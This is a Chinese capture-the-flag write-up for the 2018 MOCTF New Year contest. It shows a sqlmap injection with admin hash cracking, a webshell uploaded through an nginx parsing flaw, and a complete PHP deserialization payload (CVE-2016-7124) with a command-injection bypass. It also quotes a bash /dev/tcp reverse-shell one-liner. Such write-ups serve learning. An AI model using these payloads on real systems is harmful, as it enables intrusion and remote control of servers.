MOCTF新春欢乐赛部分WP

已经过去有段时间了,比赛在年前,现在才有时间整理一下当时做出的一些题目。
当作是一个复习梳理了
比赛地址:http://happy.moctf.com/
官方所有WP:https://github.com/xishir/moctf/tree/master/2018MOCTF

比赛首页.png

0x00是时候让你的手指锻炼一下了

MOCTF新春欢乐赛部分WP_第1张图片
image.png

打开链接的页面内容如下


MOCTF新春欢乐赛部分WP_第2张图片
image.png

查看页面源码发现,最终会调用JS代码生成表单并且提交clicks参数,参数内容为点击的次数,这里可以手动传参108000次即可拿到flag


MOCTF新春欢乐赛部分WP_第3张图片
image.png

image.png

0x01要认真

打开链接,呈现的是一个文章管理系统,题目提示是能够getshell


MOCTF新春欢乐赛部分WP_第4张图片
image.png
MOCTF新春欢乐赛部分WP_第5张图片
image.png

通过各个页面的查看,其中找到show.php查看内容时存在sql注入点


MOCTF新春欢乐赛部分WP_第6张图片
image.png

直接起sqlmap,拿数据库、表和字段内容,得到后台登陆用户和哈希的密码


MOCTF新春欢乐赛部分WP_第7张图片
image.png

通过MD5破解直接拿到明文“moctf6”,之后可以直接登陆后台


MOCTF新春欢乐赛部分WP_第8张图片
image.png
MOCTF新春欢乐赛部分WP_第9张图片
image.png

在后台存在一个文件管理功能模块,存在上传点,通过测试发现,检测了上传文件的后缀,只允许png、jpg等图片格式
查看响应头,发现是nginx服务器


MOCTF新春欢乐赛部分WP_第10张图片
image.png

这里可以利用nginx的解析漏洞来上传执行webshell
详见:http://blog.csdn.net/wn314/article/details/77388289
上传一个内容为php一句话的

MOCTF新春欢乐赛部分WP_第11张图片
image.png

最后利用webshell直接进行操作找flag即可


MOCTF新春欢乐赛部分WP_第12张图片
image.png

0x02PUBG

MOCTF新春欢乐赛部分WP_第13张图片
image.png

访问页面内容是吃鸡既视感


image.png

查看页面源码,没有特别的信息泄露,尝试扫描常见信息泄露,发现存在.bak备份,得到源码


MOCTF新春欢乐赛部分WP_第14张图片
image.png

同样的,class.php也存在bak


MOCTF新春欢乐赛部分WP_第15张图片
image.png

这里需要分析其中的php逻辑,可以看到一个关键点是$p=unserialize($pubg)
而class.php中定义了__wakeup函数和__call函数
其中反序列化得到对象会执行__wakeup函数,而调用不存在的函数会执行到__call中
这里需要绕过__wakeup中的赋值操作,才能在__destruct判断逻辑中去执行Get_air_drops函数,并且去调用__call来执行系统命令
因此需要利用到

CVE-2016-7124反序列化漏洞

最后配合system函数的系统命令执行来拿到flag,其中还需要进行一定程度的命令执行绕过
最终payload为

http://120.78.57.208:6001/index.php?LandIn=school&pubg=O:7:"sheldon":3:{s:3:"bag";s:42:"flag.;a=c;b=a;c=t;$a$b$c ./class/flag.php;";s:6:"weapon";s:3:"AWM";}
image.png

0x03ping一下好吗

MOCTF新春欢乐赛部分WP_第16张图片
image.png

MOCTF新春欢乐赛部分WP_第17张图片
image.png

页面提供了一个ping的目的ip,此题比较简单,可以利用远程命令执行配合DNSLOG拿到执行结果回显
此处反弹shell没有效果

bash -i >& /dev/tcp/ip/port 0>&1

直接命令执行接:

ls|awk 'FNR==n{print}' #这里n是特定数字,输出第n行
MOCTF新春欢乐赛部分WP_第18张图片
image.png

访问此文件既拿到flag


MOCTF新春欢乐赛部分WP_第19张图片
image.png
0x04一万年的爱有多久
MOCTF新春欢乐赛部分WP_第20张图片
image.png

下载得到一个zip压缩包,经过测试,解压后得到的还是一个随机字符串的压缩包,似乎永无止境
于是写脚本进行解压,看看有没有尽头

import zipfile
import os

file_list = os.listdir(r'.')

for file_name in file_list:
    if os.path.splitext(file_name)[1] == '.zip':
        print file_name

        file_zip = zipfile.ZipFile(file_name, 'r')
        for file in file_zip.namelist():
            file_zip.extract(file, r'.')
        file_zip.close()
        os.remove(file_name)`
#!/bin/sh
for i in $(seq 1 100000)
do
python zip.py >/dev/null
done

最后得到解压的结果flag


MOCTF新春欢乐赛部分WP_第21张图片
image.png
0x05Hacker!!!
MOCTF新春欢乐赛部分WP_第22张图片
image.png

下载得到一个流量包文件,使用wireshark进行分析


MOCTF新春欢乐赛部分WP_第23张图片
image.png

通过流量包内容可以看到,记录了一些HTTP请求和响应,其中HTTP请求中的url是SQL盲注
通过分析盲注的结果,可以拿到正确内容的ascii码,最后拼凑得到flag

109 111 99 116 102 123 72 116 116 112 95 49 115 95 100 52 110 103 51 114 73 48 117 53 125
moctf{Http_1s_d4ng3rI0u5}

你可能感兴趣的:(MOCTF新春欢乐赛部分WP)